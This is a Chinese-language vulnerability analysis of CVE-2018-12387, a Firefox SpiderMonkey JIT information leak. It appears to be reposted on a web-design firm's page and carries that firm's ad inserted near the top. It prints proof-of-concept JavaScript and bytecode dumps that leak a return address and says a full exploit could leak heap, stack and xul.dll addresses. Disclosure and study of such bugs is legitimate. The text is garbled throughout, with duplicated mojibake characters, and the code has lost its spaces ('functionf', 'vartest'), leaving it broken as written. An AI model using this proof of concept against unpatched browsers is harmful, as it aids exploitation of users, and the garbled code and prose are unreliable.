這篇文章將為大家詳細(xì)講解有關(guān)如何進(jìn)行Firefox信息泄漏漏洞的技術(shù)分析,文章內(nèi)容質(zhì)量較高,因此小編分享給大家做個(gè)參考,希望大家閱讀完這篇文章后對(duì)相關(guān)知識(shí)有一定的了解。
創(chuàng)新互聯(lián)是專業(yè)的志丹網(wǎng)站建設(shè)公司,志丹接單;提供做網(wǎng)站、網(wǎng)站制作,網(wǎng)頁(yè)設(shè)計(jì),網(wǎng)站設(shè)計(jì),建網(wǎng)站,PHP網(wǎng)站建設(shè)等專業(yè)做網(wǎng)站服務(wù);采用PHP框架,可快速的進(jìn)行志丹網(wǎng)站開發(fā)網(wǎng)頁(yè)制作和功能擴(kuò)展;專業(yè)做搜索引擎喜愛的網(wǎng)站,專業(yè)的做網(wǎng)站團(tuán)隊(duì),希望更多企業(yè)前來(lái)合作!
研究發(fā)現(xiàn),JavaScript JIT編輯器中的Array.prototype.push有多個(gè)存在安全問(wèn)題的參數(shù),而這些參數(shù)共同導(dǎo)致了這個(gè)信息泄漏漏洞的出現(xiàn)。這個(gè)漏洞會(huì)將內(nèi)存地址泄露給一個(gè)相關(guān)調(diào)用函數(shù),攻擊者將能夠使用這個(gè)地址來(lái)進(jìn)一步實(shí)施攻擊。
這個(gè)安全漏洞已經(jīng)在Firefox 62.0.3和Firefox ESR 60.2.2版本中得到了修復(fù)。
CVE-2018-12387
BrunoKeith和NiklasBaumstark,獨(dú)立安全研究員,在發(fā)現(xiàn)該漏洞之后他們便將漏洞信息上報(bào)給了Beyond Security的SecuriTeam安全披露項(xiàng)目。
Firefox 62.0
Firefox ESR 60.2
在對(duì)Spidermonkey(Mozilla的JavaScript引擎,采用C++編寫)進(jìn)行模糊測(cè)試的過(guò)程中,我們用下面這段代碼成功觸發(fā)了一次調(diào)試斷言(Debug Assertion):
functionf(o) { var a = [o]; a.length = a[0]; var useless = function () {} var sz = Array.prototype.push.call(a, 42,43); (function () { sz; })(new Boolean(false));}for(var i = 0; i < 25000; i++) { f(1);}f(2);
上述代碼觸發(fā)了如下所示的斷言(Assertion):
Assertion failure: isObject() and crashes in releaseBuild
在運(yùn)行JIT編譯器生成的代碼時(shí),函數(shù)f生成了上述斷言。
接下來(lái),我們一起看一看JIT代碼中的IR(中間表示):
我們可以看到上圖中的arraypusht指令,關(guān)于該指令的內(nèi)容可參考【這篇文檔】。函數(shù)中的注釋信息表示,調(diào)用push命令的參數(shù)將會(huì)被分成多個(gè)單獨(dú)的arraypush{t,v}指令。此時(shí)會(huì)觸發(fā)斷言,因?yàn)樵谡{(diào)用函數(shù)時(shí),棧指針沒(méi)有被正確恢復(fù)。
在了解了錯(cuò)誤發(fā)生的場(chǎng)景之后,我們需要從BaselineCompiler.cpp中尋找到負(fù)責(zé)執(zhí)行syncStack(0)的操作碼Handler,并通過(guò)peek()來(lái)獲取棧地址值:
//Load lhs in R0, rhs in R1. frame.syncStack(0); masm.loadValue(frame.addressOfStackValue(frame.peek(-2)),R0); masm.loadValue(frame.addressOfStackValue(frame.peek(-1)),R1); // Call IC. ICSetProp_Fallback::Compiler compiler(cx); if(!emitOpIC(compiler.getStub(&stubSpace_))) return false; // Leave the object on the stack. frame.pop();
這個(gè)操作碼會(huì)被下列JavaScript代碼執(zhí)行:
functionf() { var y = {}; var o = { a: y };}dis(f); /* bytecode: 00000: newobject ({}) # OBJ 00005: setlocal 0 # OBJ 00009: pop # 00010: newobject ({a:(void 0)}) # OBJ 00015: getlocal 0 # OBJ y 00019: initprop "a" # OBJ 00024: setlocal 1 # OBJ 00028: pop # 00029: retrval # */
Handler告訴了我們這個(gè)操作碼是如何被編譯的:R0被設(shè)置為了stack[top-1] = o,R1被設(shè)置為了stack[top] = y,接下來(lái)內(nèi)部緩存會(huì)設(shè)置R0.a = R1。由于棧地址偏移,在下面的代碼中會(huì)執(zhí)行stack[top].a = stack[top+1],因此我們可以在棧外獲取一個(gè)JSValue:
vartest = { a: 13.37}; functionf(o) { var a = [o]; a.length = a[0]; var useless = function () {} useless + useless; var sz = Array.prototype.push.call(a,1337, 43); (function () { sz })(); var o = { a: test };}dis(f);for(var i = 0; i < 25000; i++) { f(1);}f(100);print(test.a);
/*bytecode:...00034:lambda function() {} # FUN00039:setlocal 1 # FUN00043:pop #00044:getlocal 1 # useless00048:getlocal 1 # useless useless00052:add # (useless + useless)00053:pop #00054:getgname "Array" # Array00059:getprop "prototype" # Array.prototype00064:getprop "push" # Array.prototype.push00069:dup # Array.prototype.push Array.prototype.push00070:callprop "call" # Array.prototype.push Array.prototype.push.call00075:swap # Array.prototype.push.call Array.prototype.push00076:getlocal 0 # Array.prototype.push.call Array.prototype.push a00080:uint16 1337 # Array.prototype.push.call Array.prototype.push a 133700083:int8 43 # Array.prototype.push.call Array.prototype.push a 1337 4300085:funcall 3 # Array.prototype.push.call(...)...00104:newobject ({a:(void 0)}) # OBJ00109:getgname "test" # OBJ test00114:initprop "a" # OBJ00119:setarg 0 # OBJ00122:pop #00123:retrval #
指令48只會(huì)將一個(gè)函數(shù)push進(jìn)堆內(nèi)存中,這樣一來(lái)指令85(funcall)將不會(huì)拋出異常,因?yàn)樗鼤?huì)嘗試從棧中獲取Array.prototype.push.call,但是有8字節(jié)的偏移量。并在我們的系統(tǒng)上打印出了2.11951350117067e-310,它是整型值0x27044d565235的double類型表示,而這是一個(gè)返回地址。最終的漏洞利用代碼將能夠利用這個(gè)缺陷來(lái)泄漏堆地址、棧地址和xul.dll的基地址。
Go
關(guān)于如何進(jìn)行Firefox信息泄漏漏洞的技術(shù)分析就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,可以學(xué)到更多知識(shí)。如果覺得文章不錯(cuò),可以把它分享出去讓更多的人看到。